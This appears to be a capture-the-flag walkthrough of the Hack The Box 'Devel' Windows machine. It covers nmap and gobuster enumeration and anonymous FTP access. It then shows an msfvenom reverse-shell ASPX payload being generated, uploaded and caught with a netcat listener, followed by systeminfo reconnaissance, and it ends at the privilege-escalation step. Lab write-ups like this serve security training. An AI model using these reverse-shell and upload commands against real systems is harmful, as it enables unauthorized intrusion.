Devel HTB 2023 Walkthrough. Devel is relatively simple Windows machine and demonstrates the security risks associated with some default program configurations.
Initial scan reveals, we have 2x ports open. Port 80 and port 21.
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sC -sV -O -T4 10.10.10.5
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-07 00:53 EDT
Nmap scan report for 10.10.10.5
Host is up (0.19s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 02:06AM <DIR> aspnet_client
| 08-07-23 05:09AM 1398 cmd.aspx
| 03-17-17 05:37PM 689 iisstart.htm
| 08-07-23 07:46AM 73802 metshell.exe
| 08-07-23 05:09AM 28160 nc.exe
| 08-07-23 07:45AM 15970 shell.aspx
|_03-17-17 05:37PM 184946 welcome.png
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.71 seconds
Port 80 : we have IIS server
Port 21: Anonymous login is allowed
Web Enumeration
Visiting the site, we get the default IIS page.
Nothing appears with dirbusting as well.
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -u http://10.10.10.5/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.5/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/08/07 01:03:31 Starting gobuster in directory enumeration mode
===============================================================
Progress: 87631 / 87665 (99.96%)
===============================================================
2023/08/07 01:10:03 Finished
===============================================================
FTP Enumeration
Getting FTP access is easy and we can see default IIS files in the ftp directory. Which means we can directly upload files to web directory and we can try local file inclusion.
Exploitation
So, we can simply upload an aspx shell and gain access.
Generate a shell
Create a reverse non staged backdoor with msfvenom
┌──(kali㉿kali)-[~/Desktop]
└─$ msfvenom -p windows/shell_reverse_tcp -f aspx LHOST=10.10.14.29 LPORT=4444 -o reverse-shell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of aspx file: 2704 bytes
Saved as: reverse-shell.aspx
Initial Access
upload the shell
ftp> put reverse-shell.aspx
local: reverse-shell.aspx remote: reverse-shell.aspx
229 Entering Extended Passive Mode (|||49173|)
125 Data connection already open; Transfer starting.
100% |**************************************************************************************************************************| 2742 13.07 MiB/s --:-- ETA
226 Transfer complete.
2742 bytes sent in 00:00 (12.47 KiB/s)
ftp>
Now, open a netcat listener
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
visit the shell from the browser and we will get the shell.
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.29] from (UNKNOWN) [10.10.10.5] 49174
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>
Privilege Escalation
Lets first get the system info.
c:\windows\system32\inetsrv>systeminfo
systeminfo
Host Name: DEVEL
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: babis
Registered Organization:
Product ID: 55041-051-0948536-86302
Original Install Date: 17/3/2017, 4:17:31 ��
System Boot Time: 7/8/2023, 2:57:40 ��
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x64 Family 6 Model 85 Stepping 7 GenuineIntel ~2294 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 3.071 MB
Available Physical Memory: 2.423 MB
Virtual Memory: Max Size: 6.141 MB
Virtual Memory: Available: 5.496 MB
Virtual Memory: In Use: 645 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Local Area Connection 3
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.5
[02]: fe80::58c0:f1cf:abc6:bb9e
[03]: dead:beef::915a:54b9:46fa:b83d
[04]: dead:beef::58c0:f1cf:abc6:bb9e
Its windows 7 build 7600 which is very old
No hotfixes are applied
Machine is x86
Searcing Google for the build, we do get an exploit.
